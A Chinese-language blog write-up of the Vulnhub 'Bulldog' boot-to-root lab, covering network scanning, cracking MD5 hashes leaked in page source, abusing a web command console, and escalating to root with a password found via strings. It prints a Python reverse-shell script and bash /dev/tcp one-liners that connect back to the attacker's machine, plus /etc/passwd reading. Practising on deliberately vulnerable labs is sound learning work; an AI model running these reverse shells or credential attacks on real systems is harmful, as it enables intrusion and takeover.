还在加载 请稍等一下辣ヾ(≧▽≦*)o . . .

Vulnhub-Bulldog靶机实战


前言

下载地址:https://www.vulnhub.com/entry/bulldog-1,211/

KALI地址:192.168.1.18

靶机地址:192.168.1.28

靶机提示

Description

Bulldog Industries recently had its website defaced and owned by the malicious German Shepherd Hack Team. Could this mean there are more vulnerabilities to exploit? Why don’t you find out? :)

This is a standard Boot-to-Root. Your only goal is to get into the root directory and see the congratulatory message, how you do it is up to you!

Difficulty: Beginner/Intermediate, if you get stuck, try to figure out all the different ways you can interact with the system. That’s my only hint ;)

Made by Nick Frichette (frichetten.com) Twitter: @frichette_n

I’d highly recommend running this on Virtualbox, I had some issues getting it to work in VMware. Additionally DHCP is enabled so you shouldn’t have any troubles getting it onto your network. It defaults to bridged mode, but feel free to change that if you like.


一.信息收集

1.主机发现

使用命令如下,进行主机发现,并且发现了靶机

netdiscover -r 192.168.1.18


2.扫描主机

使用nmap扫描命令如下

nmap -sV 192.168.1.28

担心扫不全,使用如下命令在扫一次(~ ̄▽ ̄)~。

nmap -A -T4 -O -p 0-65535 192.168.1.28

扫完发现,开放了23,80,8080端口,并且23号端口对应的是ssh端口,然后80和8080都是http服务,意味着我们可以直接在浏览器访问。

如下图直接访问的首页


3.目录扫描

使用命令如下

dirb http://192.168.1.28

发现能扫出来很多很多东西,发现主目录只有如下红色箭头的位置


4.网页信息挖掘

首先进行简单的网页挖掘,比如查看网页首页源代码有什么东西,发现并没有什么东西👇

同理,然后首页的Public Notice点进去也没有什么东西可以发现,所以需要转换目标,看向我们上面目录扫描出来的目录经过发现有admindev两个目录,如下图是访问admin目录的样子👇,发现是django框架,就不能用php的方式来了,猜测应该要暴力破解之类的。

如下图是访问dev目录的样子。


二.漏洞利用

1.残余信息收集

经过一番查找发现在dev下的网页源代码里面有猫腻如下图,一堆md5,还是这样对应的很难不想象,这些md5就是对应的这些账户的密码,所以可以拿去在线网站枚举。

经过在线md5解密,发现能解出来的只有nict用户,如下图结果,所以得到一个信息,或者相反?

用户:nick

密码:bulldog

但是解sarah用户的md5能解出来,只不过。。。看下图就知道了2333,所以我应该换一个网站?

经过一番解密,在👉输入让你无语的MD5,这个网站解出来了,如下图。

所以又得到一个信息如下

用户:sarah

密码:bulldoglover

然后,我现在的想法是这些可不可以ssh连接?答案是当然不行(~ ̄▽ ̄)~,转换思路,刚才不是发现了一个django登录页面呢,万一可以进去呢,答案是当然可以,确实能进去,但是啥也不能干啊,两个用户都能进去,如下两张图。

又要转换思路了,进去啥也不能干啊,于是在dev目录下找到了一个shell控制台如下图


2.反弹shell

既然可以执行命令了那么猜测也可以执行反弹shell之类的,这里使用python来反弹shell,因为网站是用的是django来搭建的,代码如下

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.18","6666"))
os.dup(s.fileno(),0)
os.dup(s.fileno(),1)
os.dup(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

这里我保存为shell.py文件,然后在Kali上面使用apache开启一个简单的http服务器,kali自带apache,开启命令如下。

service apache2 start

然后就可以通过IP地址来访问kali的web网页了,之后我们需要做的是把python文件放在网站目录下面,如下图

之后就可以在上面找到的执行shell命令的地方下载我们刚才准备的python文件了,如下图,下载成功。

然后我们在KALI开启监听,然后回到网站运行python即可。

kali开启监听

如下图执行反弹脚本

kali接收反弹获得shell,如下图。


2.1另外一种反弹shell的方法

可以使用bash反弹的方法,最经典的就是如下反弹shell命令

bash -i >& /dev/tcp/192.168.1.28/6666 0>&1

经过测试,在控制台输入如下命令能成功反弹,echo命令反弹

echo "bash -i >& /dev/tcp/192.168.1.18/6666 0>&1" | bash

如下图可以成功反弹没有报错。


3.提权

我们进入了系统就需要提权,首先查看有那些用户命令如下

cat /etc/passwd

然后发现,有djangobulldogadmin两个用户,直接去home目录查看是否有什么东西。

经过一番查找django用户没啥东西可以利用,但是在bulldogadmin目录下面发现了隐藏文件,如下图。

然后进入.hiddenadmindirectory这个隐藏目录然后里面有两个文件一个是note一个是customPermissionApp,其中note只是一封信,没有什么可以利用的东西customPermissionApp打开是一堆乱码,这里使用strings打开,内容如下图,发现了东西类似于密码,然后去掉H。

去掉H之后就是SUPER ultHimate PASSWORD you CANT get的字样,为什么这样?因为猜的,纯靠猜。

SUPERultHimatePASSWORDyouCANTget

然后直接切换到root用户,发现切换不了,那就更换shell。

python -c "import pty; pty.spawn('/bin/bash')"

然后输入命令切换到root用户,并且输入上面得到的密码SUPERultimatePASSWORDyouCANTget

sudo su

如下图,发现可以切换到root用户,提权结束。


三.总结

纯纯靠猜,到后面提权看了一下别人的WP,我就懵逼了,我就想知道是什么样的人才知道那一串是密码,是怎么看出来的。。。。可能还是自己太菜了,加油吧!( ̄︶ ̄)↗ 。


文章作者: Kenken
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Kenken !
评论
  目录